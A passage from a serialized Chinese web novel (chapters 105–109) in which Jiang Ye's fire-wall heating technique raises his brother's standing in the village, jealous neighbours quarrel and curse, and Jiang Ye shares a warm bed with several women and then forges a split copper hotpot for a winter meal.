铜钱和银子冰冷的触感,和他此刻滚烫的身体形成了鲜明对比。
他活了二十五年,第一
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次被人叫“大哥”,第一次被这么多人用如此期盼和信任的眼神看着,第一次……手里攥着这么多钱。
他大脑一片空白,晕头转向。
王翠花和刘巧嘴被挤在人群的最外围,看着被众人簇拥、收钱收到手软的江峰,两双眼睛嫉妒得几乎要喷出火来。
凭什么?
凭什么这个窝囊废,就因为有个好弟弟,就能一步登天?
两人对视一眼,都从对方眼中看到了浓浓的不甘和贪婪。
她们一咬牙,使出吃奶的劲,硬是从人缝里挤了进去,凑到了江峰面前。
王翠花脸上堆起菊花般的假笑,两手空空,却理直气壮地冲着江峰喊:“哎呀,大峰啊,你看这……咱们都是这么多年的老邻居了,抬头不见低头见的,你可不能忘了嫂子啊。也……也先帮嫂子家修一个呗?”
她绝口不提钱的事,仿佛这邻里乡亲的情分,就足以抵过一切。
旁边,刘巧嘴也扯着那公鸭嗓子,阴阳怪气地开了口:“就是!江峰,你弟弟把我儿子大虎的手都打断了,郎中说这手以后都干不了重活了!我们孤儿寡母的,这日子还怎么过?你家修个火墙,就当是赔罪了,这天经地义吧!”
她这话一出,周围嘈杂的人群都瞬间安静了一瞬,无数道鄙夷的目光齐刷刷地射向她们。
江峰看着她们那两张丑恶的嘴脸,想起了过去那么多年,王翠花是如何在村里编排他弟弟的闲话,又是如何在他家最困难的时候,对着自己的妻子冷嘲热讽。
他又想起了,刘巧嘴母子是如何欺辱林间雪,又是如何在小夜出手后,在背后恶毒地咒骂。
一股从未有过的怒火和勇气,猛地从他胸腔里窜了上来。
他第一次在全村人面前,挺直了自己那因为常年打猎而微微佝偻的腰板。
他目光冷冷地扫过王翠花和刘巧嘴那两张贪婪的脸,沉声说道:“排队。按先来后到的规矩,排到你们,冬天怕是都要过去了。”
四周瞬间一静。
所有人都愣住了,随即,不知是谁先没忍住,“噗嗤”一声笑了出来。
下一秒,山洪暴发般的哄堂大笑,响彻了整个村口。
“哈哈哈哈!说得好!”
“江峰兄弟说得对!什么东西都想白占便宜,脸呢?”
“就是,之前骂人家骂得最欢的就是你们,现在看人家发达了,又舔着个脸凑上来,真不要脸!”
村民们指着王翠花和刘巧嘴,满脸都是不加掩饰的嘲讽和鄙夷。
王翠花和刘巧嘴的脸,“腾”地一下,涨成了猪肝色。
她们做梦也没想到,一向被她们瞧不起、任由人拿捏的软柿子江峰,今天竟然敢当着全村人的面,如此不给她们脸面!
在众人震耳欲聋的嘲笑声中,两人只觉得脸上火辣辣的,仿佛被人狠狠抽了几十个耳光,羞愤欲死。
“你……你们……”王翠花指着江峰,又指着周围的村民,气得浑身发抖,却一句完整的话都骂不出来。
“好!好你个江峰!你给我等着!”刘巧嘴尖叫一声,撂下一句毫无威慑力的狠话。
两人再也待不下去,在全村人的嘲笑声中,像两只丧家之犬一般,灰溜溜地逃走了。
第105章 往后,咱家挺直了腰杆活!
与此同时,江峰家。
凛冽的寒风卷着雪沫子,在门外呜呜的刮,虽然被结实的青砖墙挡了大半,但还是挡不住刺骨的冰寒。
屋里,王慧慧正抱着女儿琼琼,两人缩在一个半死不活的火盆边,冻得瑟瑟发抖。
火盆里的炭是前几日江夜家送来的,省着用,也快见底了。
王慧慧看着女儿冻得通红的小脸,心里一阵发酸,又忍不住在心里埋怨自家男人没本事。
就在这时,“吱呀”一声,门被推开。
一股寒气涌入,江峰大步走了进来,脸上带着一种狂喜的红光。
“你还知道回来?眼看天都黑了!”王慧慧的抱怨脱口而出。
江峰却一反常态,没有像往常一样低头沉默,反而嘿嘿一笑,大步走到桌边,解下了腰间一个沉甸甸的布袋。
他二话不说,抓着袋子底,猛地往桌上一倒。
“哗啦啦——”
清脆又密集的金属撞击声,在寂静的小屋里炸响。
王慧慧的抱怨声戛然而止,她和怀里的琼琼,像被施了定身术一般,瞬间呆滞。
只见那张破旧的木桌上,铜钱和大小不一的碎银子,混杂在一起,堆成了一座闪闪发光的小山!
那银子在昏暗的油灯下反射出的光芒,刺得王慧慧眼睛生疼。
她活了二十四年,别说见,就是做梦都没梦到过这么多钱!
“这……这……”王慧慧的嘴唇哆嗦着,指着那堆钱,声音都变了调,“你……你哪来的?你是不是去抢了?!”
江峰看着妻子震惊的模样,只觉得胸口那股子气顺畅到了极点,他挺直了腰板,满脸红光,声音洪亮。
“抢什么!这是我凭本事挣的!”
他把今天在村口发生的事,一五一十地,添油加醋地,全都说了出来。
从江夜如何轻描淡写地砌出神仙般的火墙,到他如何将这门神技传授给自己,再到他如何当着全村人的面,为自己作保,最后,村民们又是如何疯狂地把钱塞进他怀里……
江峰说得唾沫横飞,语气里充满了对江夜那种近乎狂热的崇拜。
“……小夜说了,‘哥,有我在,没有学不会的’!就这一句话!全村人,没一个再敢放屁的!王翠花和刘巧嘴那两个长舌妇,想占便宜,被我一句话就给怼回去了!你是没看到她们那脸,跟吃了屎一样难看!哈哈哈哈!”
王慧慧彻底听傻了。
她呆呆地看着桌上那堆钱,又看看眼前这个仿佛脱胎换骨、神采飞扬的丈夫,脑子里“嗡嗡”作响。
这一切,像做梦一样。
她颤抖着伸出手,小心翼翼地碰了碰那堆钱,冰冷的触感传来,是真实的。
这不是梦。
王慧慧的目光从狂喜,到迷茫,最后,不知想起了什么,她的眼圈“唰”的一下就红了。
她想起了过去那么多年,自己是如何因为江峰接济江夜而跟他吵闹,如何当着邻里的面抱怨自己那个不争气的小叔子,如何因为家里穷得揭不开锅,对丈夫、对生活充满了怨气。
可她那个一直被自己瞧不起、被自己埋怨的小叔子,却在发迹之后,没有半点记恨。
他默默地盖了新房,默默地酿了神酒,默默地带着自家男人打猎分肉,现在,又默默地将一门能让江家彻底翻身、能让自家男人挺直腰杆的神技,就这么轻飘飘地送了出来。
而自己,这个当嫂子的,都做了些什么?
一股无法言喻的羞愧和悔恨,如同决堤的洪水,瞬间淹没了她的心脏。
“啪!”
一声清脆的耳光,在屋里响起。
江峰和琼琼都吓了一跳。
只见王慧慧抬起手,狠狠地给了自己一个嘴巴,力气之大,半边脸颊瞬间就红了。
“慧慧,你这是干啥!”江峰大惊失色,连忙抓住她的手。
王慧慧却像是没感觉到
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疼,她看着丈夫,眼泪像断了线的珠子,决堤而下,泣不成声。
“我……我不是人……我就是个目光短浅的泼妇……我……我对不起小夜……我对不起你……”
她哭得喘不上气,所有的委屈、喜悦、羞愧,在这一刻尽数爆发。
江峰看着她,心里也是一酸,他笨拙地伸出手,将妻子和女儿一起揽进怀里,重重地拍着她的背。
“不怪你……不怪你……以前是我没本事……”
哭了许久,王慧慧的情绪才渐渐平复下来。
她擦干眼泪,从江峰怀里挣脱出来,然后,她做了一个让江峰意想不到的举动。
她拉过还有些懵懂的琼琼,蹲下身,双手扶着女儿的肩膀,神情是前所未有的郑重。
“琼琼,你给娘记住了。”
她的声音沙哑,却无比清晰。
“以后,在这个家里,你要对你叔叔,比对爹和你娘还要好,听见没有?”
琼琼眨巴着大眼睛,似懂非懂。
王慧慧指着桌上那堆钱,又指了指丈夫,一字一句地说道:“我们家现在所有的一切,都是你叔叔给的。没有你叔叔,你爹还是那个窝囊废,你娘还是那个只会抱怨的黄脸婆,你,还是那个冬天连件新棉袄都穿不上的野丫头!你叔叔,就是我们全家的大恩人,是天!你记住了吗?”
琼琼看着母亲严肃的脸,似乎感觉到了什么,她用力地点了点头,奶声奶气地,却无比肯定地说道:“记住了!琼琼最喜欢叔叔!”
王慧慧看着女儿,终于破涕为笑。
她站起身,将桌上的钱小心翼翼地收进布袋,紧紧地抱在怀里。
她看着自己的丈夫,眼里的光,亮得惊人。
“当家的,明天,咱也把家里的墙给拆了!咱也砌上火墙!往后,咱家挺直了腰杆活!”
一家人,围着那堆钱,又哭又笑,小小的破屋里,充满了前所未有的希望。
第106章 你敢骂我?
傍晚,风雪愈发大了,鹅毛般的大雪铺天盖地,整个稻花村都笼罩在一片苍茫的白色之中。
就在这时,一道高挑的身影,踏着厚厚的积雪,由远及近。
她身披一件火红色的斗篷,在漫天风雪中如同一团燃烧的火焰,英姿飒爽,正是数日未见的凤啸寨寨主,慕容晴。
她走到江夜家气派的院门前,推开那扇厚重的木门。
“吱呀——”
门开的瞬间,一股与外界冰天雪地截然不同的融融暖意,夹杂着霸道的肉香,扑面而来,瞬间驱散了她一路行来所沾染的所有寒气。
慕容晴的动作瞬间一僵,愣在了原地。
她抬眼望去,只见温暖明亮的厅堂内,白梦夏、白梦秋姐妹,还有那个叫林间雪的俏丽侍女,竟然都只穿着轻薄的单衣,俏脸上泛着健康的红润,正围坐在一起说笑。
这屋里屋外,简直是两个世界。
“你们……”慕容晴美眸中满是诧异,“这是什么神仙法子?外面天寒地冻,你们这屋里倒跟春天似的。”
“晴儿姐姐,你来啦!”
白梦秋一见是她,立刻像只快乐的小鸟,笑着跑了过来。她献宝似的拉起慕容晴的手,直接按在了旁边的一面墙壁上。
“你摸摸看!这叫火墙,是夫君给我们造的!”
慕容晴的玉手触及墙壁,只觉一股均匀而舒适的暖意,从掌心源源不断地传来,温润如玉,毫不燥热。这股暖流顺着手臂,迅速传遍全身,让她舒服得差点轻哼出声。
她那张美艳张扬的脸上,惊艳之色更浓。
这种手段,她别说见,简直闻所未闻!
她走到江夜身边,一双勾魂夺魄的凤眼在他身上流转打量,带着几分探究,又带着几分毫不掩饰的调侃。
“江夜,我算是看明白了,你这脑子,跟我们这些凡夫俗子的构造,果然不一样。”
江夜闻言,只是笑了笑,算是默认了这句夸赞。
很快,晚饭摆上了桌。
一个巨大的陶锅放在桌子中央,里面是炖得软烂香浓的狼肉,汤汁浓白,肉香四溢。
江夜又从旁边拿出一个酒壶,温在了火盆边上。
“开饭吧。”
随着他话音落下,一股比肉香更加霸道、更加醉人的酒香,瞬间从那酒壶中飘散出来。
正准备动筷子的慕容晴,鼻子猛地一动,那双明亮的眼睛“唰”的一下就亮了,死死盯住了那个其貌不扬的酒壶。
“好香的酒!哪来的?”
她本就是好酒之人,此刻闻到这股前所未有的酒香,腹中的酒虫瞬间就被勾了起来。
江夜为她倒上一杯。
那酒液呈漂亮的琥珀色,在灯火下流淌着淡淡的金光,宛如琼浆。
慕容晴也不客气,端起酒杯,对着江夜一扬下巴,随即红唇微张,一饮而尽。
酒液入喉,如同一线火龙,瞬间滑入腹中。
下一秒,慕容晴那张扬美艳的俏脸,瞬间凝固了。
她整个人僵在原地,美眸圆睁,仿佛时间都被静止。
紧接着,一股无法形容的磅礴暖流,在她的小腹中轰然炸开,如同决堤的洪水,疯狂地冲刷着她的四肢百骸,每一个毛孔都仿佛在舒张,在欢呼!
她只觉得一股沛然巨力从丹田升起,体内原本运转的内力,在这股暖流的冲刷下,竟以一种不可思议的速度变得更加精纯、更加凝练!
一股惊人的气势从她身上一放即收,她那张凝固的俏脸,瞬间爆发出无与伦比的惊人神采,一抹极致的酡红飞上双颊,让她整个人看起来艳光四射,不可方物。
白梦夏姐妹和林间雪都被她这动静吓了一跳,担忧地看着她。
慕容晴却完全没注意旁人,她缓缓低下头,看着自己空空如也的酒杯,又猛地抬头,看向江夜手中的酒壶,呼吸瞬间变得急促起来。
“这……这是什么酒?!”
这酒,简直是神物!
江夜淡然一笑:“就是前些日子酿的虎骨酒。”
慕容晴倒吸一口凉气。
她想起那日在村口,王守缸如何嘲讽,村民如何不信,她当时也只是好奇,没想到,他竟真的酿出了这等惊世骇俗的神酒!
这个男人,到底还藏着多少秘密?
角落里,团子看到慕容晴喝酒时那副飘飘欲仙的陶醉表情,早就馋得不行,口水顺着嘴角“吧嗒吧嗒”往下滴。
它再也忍不住了,迈开四条小短腿,屁颠屁颠地跑到慕容晴脚边,仰着毛茸茸的小脑袋,用头一下一下地蹭着慕容晴的腿,喉咙里发出“呜呜”的撒娇声,一双灵动的大眼睛水汪汪的,满是讨好和渴望。
慕容晴被它这副谄媚的模样逗得“噗嗤”一声笑了出来,心里的震撼也被冲淡不少。
她故意又给自己倒了一小杯,端在手里,在团子鼻子前晃了晃,就是不给它喝。
“想喝啊?”她凤眼微挑,嘴角挂着戏谑的笑意,“哎!就不给你!”
酒香近在咫尺,却求而不得,团子急得快疯了。
它绕着慕容晴的腿团团转,尾巴摇成了风火轮,喉咙里的“呜呜”声更委屈了。
眼看撒娇没用,团子急了,它人立而起,两只前爪扒着慕容晴的膝盖,努力伸长脖子和舌头,就想去舔那玉杯里的酒液。
那滑稽又拼命的模样,引得满屋子都是三女清脆的娇笑声,连一向怯懦的林间雪都忍不住掩嘴轻笑。
与江家院里笑语晏晏的景象截然不同,对门的王翠花家,却是另一番光景。
屋里没有火墙,甚至连个像样的火盆都没有,冰冷的寒气从四面八方的缝隙里钻进来,冻得人骨头缝里都冒寒气。
桌上摆着两个豁了口的陶碗,里面是清得能照见人影的稀粥,旁边放着一碟黑乎乎的咸菜,这就是夫妻俩的晚饭。
隔壁那霸道得不讲道
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理的肉香和酒香,跟长了钩子似的,一阵阵往鼻子里钻,折磨着两人的神经。
王翠花听着那不时传来的,女人们银铃般的娇笑声,再看看自家这稀粥咸菜,以及身边这个窝囊男人,一股邪火“蹭”地就窜了上来。
凭什么?
凭什么他江夜就能住暖房,吃肉喝酒,还有三个美得跟妖精似的女人伺候?
凭什么他江峰那个锯了嘴的葫芦,也能跟着一步登天,被人追着喊“大哥”,收钱收到手软?
而自己家,却要在这冰窟窿里喝西北风!
越想越气,王翠花“啪”的一声把筷子拍在桌上,抬脚就朝着王大壮的腿肚子狠狠踹了过去。
“吃吃吃!就知道吃!你这个废物!窝囊废!”
她指着王大壮的鼻子破口大骂:“你看看人家江夜!再看看人家江峰!你再看看你!除了会喝粥还会干什么?我当初真是瞎了眼才嫁给你这么个没用的东西!”
王大壮被踹得一个趔趄,手里的粥碗差点脱手。
他捂着腿,脸上火辣辣的。
要是放在以前,他早就缩着脖子不敢吭声了。
可今天,也不知道是饿得狠了,还是被隔壁的肉香刺激到了,又或是想起了白天江峰被众人簇拥的场面,他心里那根弦,终于“嘣”的一声,断了。
他猛地抬起头,一双眼睛熬得通红,死死瞪着王翠花。
“我废物?我窝囊废?”
“要不是你!我能是现在这个样子吗!”
王翠花被他这突如其来的反抗弄得一愣,随即柳眉倒竖,骂得更凶了:“嘿!你个死东西还敢顶嘴了?不是我,你连稀粥都喝不上!”
王大壮猛地站了起来,胸膛剧烈起伏,积攒了十几年的怨气在这一刻轰然爆发。
“当初我要跟着江夜兄弟一起进山,是谁!是谁拦着不让我去,非逼着我去跟县里那个什么狗屁李铁臂!结果呢?”
“人家江夜兄弟带着江峰他们,猎了二十多头狼!吃香的喝辣的!江峰现在都会修火墙了,全村人都捧着他!我呢?我跟着那帮人,差点把命都丢在山里,就分了点别人不要的下水!还不够你塞牙缝的!”
“还有王囤那样的老实人现在靠着江夜,都能挺直腰杆做人了!你呢?你这个搅家精!除了会搬弄是非,见不得人好,你还会干什么?把村里的人都得罪光了!把所有的好机会都给作没了!现在倒有脸来骂我废物?”
王大壮越说越激动,涨红着脸,唾沫星子横飞。
王翠花彻底被骂傻了。
她做梦都没想到,这个被自己拿捏了十几年,打不还手骂不还口的男人,今天竟然敢这么指着她的鼻子骂!
她愣了半晌,反应过来后,一张脸瞬间涨成了猪肝色。
“你……你反了天了你!王大壮!你敢骂我?”
她尖叫一声,张牙舞爪地就朝着王大壮的脸抓了过去。
第107章 人生至此,夫复何求!
另一边,刘巧嘴家,光景更加凄凉。
王大虎捂着那只**夜折断、至今还隐隐作痛的手腕,和母亲刘巧嘴围着一盆半死不活的炭火,冻得嘴唇发紫,瑟瑟发抖。
炭火微弱的光,映着母子俩同样怨毒的脸。
“那个江峰……一个锯了嘴的闷葫芦……现在也敢给老娘脸色看了!”刘巧嘴那张刻薄的脸上,布满了阴狠,声音像是从牙缝里挤出来的。
白天在村口**峰当众抢白,被全村人嘲笑的场面,像烙铁一样烫在她的心上,让她羞愤欲死。
“娘!都怪江夜那个小杂种!”王大虎咬牙切齿,一提到江夜,他断掉的手腕就仿佛又传来那钻心的剧痛,“要不是他撑腰,江峰算个什么东西!还有林间雪那个小**!等哪天落到我手里,我非要……”
他话没说完,但那阴邪的眼神,已经说明了一切。
“哼,火墙?”刘巧嘴想起村民们描述的江家那温暖如春的屋子,嫉妒得眼睛都红了,她发出一声恶毒的冷笑,“王老头可是说了,那可是个要命的玩意儿!但凡那烟道设计错一点,就不是暖房,是烧房!老天爷可得开开眼,让那烟道堵了,晚上睡觉的时候,一把火把他们全家都烧成焦炭!”
她越说越兴奋,枯瘦的脸上泛起病态的红光。
“对!烧死他们!”王大虎的脸上也浮现出扭曲的快意,“最好连他那两个怀了崽的婆娘也一起烧死!一尸三命!不,连着林间雪那个扫把星,一尸六命才好!哈哈哈哈!”
母子俩在冰冷的黑暗中,用最恶毒的语言咒骂着,仿佛这样就能让自己的身体暖和一点。
然而,这些怨毒的诅咒,连院墙都穿不过去。
……
深夜,风雪依旧。
江夜的卧房里,却温暖如春。
与客厅的火墙不同,卧房里砌的是一个巨大的火炕。一会儿的功夫,火炕早已被烧得暖融融的,整间屋子都透着一股干燥舒适的暖意。
柔软的锦被铺在炕上,散发着阳光晒过的味道。
白梦夏和白梦秋早已换上了轻薄的丝绸睡裙,慵懒地靠在被褥上,柔顺的青丝铺散开来,烛火下,那因怀孕而愈发丰腴的动人曲线若隐若现,圣洁中透着极致的诱惑。
慕容晴性格豪爽,她毫不客气地脱了外衣和靴子,只穿着一身紧身的里衣,也爬上了炕,大大方方地占了一块地方。
她盘腿坐着,手在温热的炕面摸来摸去,感受着那从身下源源不断传来的暖意,一张美艳的脸上满是新奇和惬意。
“啧啧,江夜这家伙,真是个天才!”她舒服地眯起凤眼,“这玩意儿,可比什么金山银山都招人稀罕。”
林间雪站在炕边,双手紧张地绞着衣角,显得手足无措。
她看着炕上那三位如同仙女般的人物,再看看自己,只觉得自惭形秽,连靠近的勇气都没有。
白梦夏看出了她的窘迫和不安,温柔地朝她招了招手。
“雪儿妹妹,站着做什么,外面冷,快上来暖和暖和。”
“夫……夫人,我……”林间雪慌忙摆手,俏脸微白,“我……我不冷,我就在下面待着就好。”
“傻丫头。”白梦夏嗔了她一眼,
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干脆从炕上探出身,拉住她的手,微微用力,就将她也拽了上来。
林间雪一个不稳,惊呼一声,跌坐在柔软的被褥上。身下那温暖舒适的触感,让她身体瞬间一僵,随即一股暖流传遍全身,舒服得让她差点呻吟出声。
就在这时,卧房的门被推开。
江夜走进了房间,一眼便看到了炕上的景象。
温暖的火炕上,四个风情各异的绝色美人,构成了一幅活色生香的画卷。
白梦夏温柔似水,白梦秋娇俏可人,两人依偎在一起,如同并蒂莲花。
慕容晴英姿飒爽,身段火辣,自顾自地靠在炕头,长腿舒展,别有风情。
而刚刚被拉上来的林间雪,则像一只受惊的小鹿,丰腴的身子蜷缩着,俏脸绯红,我见犹怜。
灯火摇曳,映照着她们吹弹可破的肌肤,光影流转间,美不胜收。
似乎是察觉到他的目光,炕上的四个女人,不约而同地抬起头。
四双或温柔,或娇羞,或火热,或崇拜的美眸,齐刷刷地落在了他的身上。
空气,在这一瞬间仿佛凝固了。
一股难以言喻的燥热,从江夜的小腹轰然升起,瞬间传遍四肢百骸。
他喉结滚动了一下,脸上却露出一抹笑意。
江夜走到炕边,将桌上的烛火熄灭,然后也脱了鞋,笑着躺入了那片温香软玉之中。
左边是白梦夏姐妹柔软温热的身子,右边是慕容晴充满弹性的火辣娇躯,林间雪虽然躲得远,但那淡淡的幽香还是萦绕在鼻尖。
爽!
人生至此,夫复何求!
第108章 这玩意儿到底是个什么宝贝?
大雪封山,连下了三天三夜,丝毫没有要停歇的意思。
整个天地间只剩下一片苍茫的白,厚厚的积雪将稻花村完全吞没,家家户户的屋顶都积了尺许厚的雪,连平日里最爱在村里乱窜的野狗,都缩在窝里不敢出来。
万籁俱寂,仿佛整个世界都被冻住了。
然而,在这片冰冷的死寂中,江夜家的新院却自成一方天地。
院墙高耸,将呼啸的北风隔绝在外,只余下雪花簌簌飘落的轻响。廊下的红灯笼在风雪中轻轻摇曳,洒下温暖的光晕。
江夜就站在廊下,身上只穿了一件单薄的常服,手中捧着一个温热的玉杯,里面是琥珀色的异虎神酒。
酒气温润,暖意从掌心一直传到心里。他看着庭院中被白雪覆盖的假山与花木,又抬头看看那漫天飞舞的鹅毛大雪,神情说不出的惬意悠闲。
与屋外冰天雪地的酷寒截然不同,身后的厅堂内,温暖如春。
新砌的火墙正散发着均匀而舒适的热量,将整个房间烘得暖融融的,甚至有些燥热。
白梦夏、白梦秋、林间雪、慕容晴四个风情各异的绝色美人,正围着一张矮桌,懒洋洋地享受着这份冬日里奢侈的温暖。
白梦夏和白梦秋姐妹俩坐在一起,正低头做着针线活。她们脸上带着母性的光辉,神情专注而温柔,一针一线地为即将出世的宝宝缝制着小巧可爱的衣物。因有火墙取暖,她们只穿着轻薄的罗裙,脸上泛着健康的红润,愈发显得娇艳动人。
林间雪则坐在一旁,手里也拿着针线,却是小心翼翼地在为江夜缝补一件被树枝划破的衣衫。她不像白家姐妹那般随意,她坐姿端正,神情无比认真,仿佛在对待一件稀世珍宝。暖意让她的小脸也红扑扑的,少了平日里的怯懦,多了几分居家少妇的柔媚。
而慕容晴,她可没那份耐心做女红。
她大大咧咧地盘腿坐在最靠近火墙的软垫上,只穿着一身紧身的里衣,将火辣的身段勾勒得淋漓尽致。她正拿着一块软布,百无聊赖地擦拭着自己的佩剑。剑身寒光凛凛,映着她那张美艳张扬的脸,别有一番英姿飒爽的风情。
时不时地,几人会凑在一起,低声说些体己话,然后发出一阵银铃般的娇笑,给这温暖的屋子,又添了几分活色生香。
江夜转身,倚在门框上,看着这温馨又旖旎的一幕,嘴角不自觉地微微上扬。
屋外是冰封天地的严冬,屋内是温暖如春的美景,美人在侧,酒香醉人。
这种日子,舒坦!
他看着围坐在一起说笑的众女,又看看屋外那苍茫的雪景,一个念头忽然在脑中一闪而过。
这样的天气,这样的氛围,若是能围在一起,吃上一顿热气腾腾的……火锅,那该是何等的人间享受!
想到那翻滚的红油,鲜嫩的肉片,以及众人围坐一炉,呵着白气,吃得大汗淋漓的畅快场面,江夜嘴里的酒都觉得寡淡了几分。
他将杯中酒一饮而尽,笑着走进屋内。
“看你们一个个闲得发慌,我再给你们找点乐子。”
他的声音瞬间吸引了所有人的注意。
四双或温柔、或好奇、或火热的美眸,齐刷刷地投向了他。
“夫君,又有什么好东西呀?”白梦秋最是活泼,她放下手中的针线,一双亮晶晶的眼睛里写满了期待。
白梦夏也停下了手,温柔地看着他,嘴角含笑。
江夜故作神秘地笑了笑,也不解释,径直走到院子角落,那里堆放着一些之前盖房剩下的边角料。
他从一堆杂物中,翻找出几块上好铜料,又从工具箱里拿出了大小不一的铁锤和几把样式古怪的刻刀。
在四女越发不解的目光中,江夜将院中的一个铁炉升起旺火,将那几块厚重的铜料扔了进去。
风箱拉动,“呼呼”作响,炉火瞬间蹿升至一人多高,将铜块烧得通体赤红,仿佛流淌的岩浆。
江夜用铁钳夹出烧得通红的铜块,稳稳地放在铁砧上,然后抡起一把沉重的铁锤。
“当!”
一声清越的金铁交鸣之声,响彻整个院落。
火星如同绚烂的烟花,四散飞溅。
江夜神情专注,手腕发力,沉重的铁锤在他手中仿佛轻若无物。
“当!当!当!当!”
密集而富有节奏的敲击声,连绵不绝。
那坚硬的铜块,在他神乎其技的锤法之下,竟像是面团一般,被迅速地改变着形状。
屋内的四个女人,彻底看呆了。
她们原本以为江夜又要制作什么精巧的木工小玩意儿,却没想到,他竟直接当着她们的面,开始打铁!
炉火映照着他专注的侧脸,汗水顺着他棱角分明的脸颊滑落,滴在他坚实起伏的胸膛上,反射着点点火光。
那充满**性力量的肌肉线条,每一次挥锤时贲张的臂膀,以及那四溅的火星,构成了一副极具冲击力的画面。
白梦夏和白梦秋姐妹俩俏脸微红,心跳不受控制地加速,看着自家夫君的眼神,充满了痴迷与爱恋。
林间雪更是看得小脸滚烫,一颗心“怦怦”乱跳,几乎要从嗓子眼里蹦出来。她只觉得眼前的男人,一举一动都散发着让她腿
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软的魅力。
慕容晴的美眸中,则爆发出前所未有的惊人神采。她本身就是习武之人,眼光毒辣,自然看得出江夜这看似简单的捶打动作中,蕴含着何等恐怖的控制力和爆发力。
这已经不是单纯的打铁了,这简直就是一门艺术!
很快,在江夜的敲打下,铜块逐渐被延展成一个圆形,边缘微微翘起,一个锅的雏形已经出现。
但这还没完。
江夜换了一把小锤,对着锅的内部,开始进行更加精细的敲击。
只见他手腕翻飞,在那铜锅的中心位置,竟然硬生生地敲出了一道S形的流畅曲线!
那曲线高高凸起,如同一条游龙,将整个锅从中间完美地分成了两个对称的区域,浑然天成,没有一丝接缝。
“这……这是在做什么?”白梦秋忍不住小声惊呼,满眼都是不可思议。
其他三女也同样满心困惑,她们绞尽脑汁,也想不出这种奇怪造型的锅,究竟有何妙用。
就在她们惊疑不定的时候,江夜的动作已经进入了尾声。
他将一体成型的铜锅放入冷水中淬火,“嗤啦”一声,升腾起大片的白色水汽。
不过片刻功夫,一个崭新奇特、闪耀着璀璨金光的铜锅,便呈现在了众人面前。
那锅造型古朴大气,锅身光可鉴人,中间那道S形的隔断,在火光的映照下,流光溢彩,熠熠生辉。
江夜满意地拍了拍手,将鸳鸯锅放在了四女面前的矮桌上。
“当——”
铜锅落在桌上,发出一声清脆的闷响。
白梦秋一双美眸瞪得溜圆,她伸出纤纤玉指戳了戳那道浑然天成的S形隔断,触感光滑冰凉,毫无拼接的痕迹,仿佛这锅生来便是如此,“夫君一个锅,为什么要从中间分开?”
慕容晴也收起了佩剑,凑了过来,她那双英气十足的凤眼,此刻也写满了浓浓的好奇与不解。
她见过的锅没有一百也有八十,可长成这般模样的,却是闻所未闻。
白梦夏和林间雪也围拢过来,看着桌上这个造型古朴又奇特的铜锅,皆是满脸好奇。
江夜看着四女那副抓耳挠腮的模样,有意逗她们,任凭她们猜测就是不开口。
白梦秋最是按捺不住,她跑到江夜身边,拉着他的衣袖轻轻摇晃,声音又娇又软。
“夫君,你快说呀,这到底是什么宝贝?”
江夜看着四张凑在一起,写满好奇的绝美脸蛋,嘴角的笑意更浓了。
他也不说话,只是伸手指了指自己的脸颊。
“一人亲一下,就告诉你们。”
第109章 人间至味
江夜此话一出,四女的反应各不相同。
白梦秋那张活泼的俏脸一红,随即一双灵动的眸子里闪过一丝狡黠。她第一个响应,身子凑上前,飞快地在江夜的脸颊上啄了一下,然后立刻退开,吐了吐舌头。
“该姐姐了。”
白梦夏看着自家妹妹和夫君的互动,无奈又宠溺地摇了摇头。她站起身,温柔地走到江夜身边,没有白梦秋那般跳脱,只是安静地在他另一边的脸颊上印下一个轻柔的吻,如羽毛拂过。
她什么都没说,但那双含情脉脉的眼眸,已经说明了一切。
“啧,麻烦。”
慕容晴红唇一撇,性格豪爽的她,可没这么多小女儿姿态。她长腿一迈,走到江夜面前,一手大方地勾住他的脖子,将他头往下一拉,对着他的嘴就重重地亲了一口。
干脆,直接,还带着一丝不容置疑的霸道。
亲完,她还舔了舔自己那丰润的红唇,凤眼含笑地看着江夜,仿佛在回味什么。
这一下,把白梦夏姐妹俩都看得闹了个大红脸。
瞬间,屋里只剩下林间雪还站在原地。
她看着眼前这一幕,一张俏脸早已红得能滴出血来,两只手紧张地绞着自己的衣角,低着头,恨不得找个地缝钻进去。
让她也想像几位夫人一样去亲江夜……她,她不敢。
白梦夏看出了她的窘迫,柔声鼓励道:“雪儿妹妹,去吧,夫君在等着呢。”
白梦秋也挤了挤眼睛,小声催促:“快去呀,不然夫君就不告诉我们了!”
在姐妹俩鼓励的目光下,林间雪感觉自己的心跳快得仿佛要从胸口蹦出来。她死死咬着下唇,终于鼓起了这辈子最大的勇气。
她闭上眼睛,脚步凌乱地冲到江夜面前,胡乱地在他下巴上轻轻碰了一下,然后就像触电一般,猛地弹开,逃回角落里,头再也不敢抬起来。
那蜻蜓点水般的触感,却让江夜的心都跟着痒了一下。
看着四个风情各异的绝色美人,江夜只觉得心中无比满足,忍不住发出一阵畅快的大笑。
他清了清嗓子,在一众期待的目光中,郑重地拍了拍桌上那个造型奇特的铜锅,宣布道:“此物,配上美食,名为‘火锅’!乃是这严冬雪日里,最棒的人间享受!”
“火锅?”
四女听得云里雾里,这名字和锅的造型一样古怪。
但看着江夜那自信满满的样子,她们的好奇心和期待感也被提到了顶点。
“夫君,那要怎么吃呀?”
“快教教我们!”
一时间,莺声燕语,叽叽喳喳地将江夜围在了中间,都抢着要来帮忙。
“别急,这火锅的精髓,还在后头。”
江夜笑着指挥起来,很快,家里储备的各种顶级肉食都被搬了出来。
锋利的刀刃在江夜手中上下翻飞,无论是极富韧性的异虎肉,还是鲜嫩的狼里脊,亦或是肥美的狍子肉,都在他神乎其技的刀工下,被切成一片片薄如蝉翼、纹理分明的肉片。
这些肉片被整整齐齐地码放在盘中,红白相间,宛如艺术品,光是看着就让人食指大动。
四女也跟着忙活起来,腌制的腌制,摆盘的摆盘,整个温暖的厅堂里,都弥漫着一股温馨又忙碌的幸福气息。
庭院中温馨忙碌,一切准备就绪后,江夜却擦了擦手,独自一人进了厨房,还神神秘秘地关上了门。
“
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夫君这是要做什么?”白梦秋好奇地探着脑袋。
慕容晴撇撇嘴:“故弄玄虚。”
话音未落,只听厨房里传来“嗤啦”一声爆响。
紧接着,江夜架起一口巨大的铁锅,将早已备好的牛油、几十种秘制香料以及珍藏的顶级辣酱一股脑地倒了进去,用大勺飞速翻炒起来。
很快一股从未在这个世界出现过的、霸道绝伦的香气,混合着浓郁的肉脂香和辛辣的刺激感,如同决堤的洪水,猛地从厨房的门窗缝隙中轰然爆发!
这股味道,辛、香、麻、辣、鲜,层层叠叠,化作一只无形的大手,瞬间笼罩了整个院落,并疯狂地向外扩散。
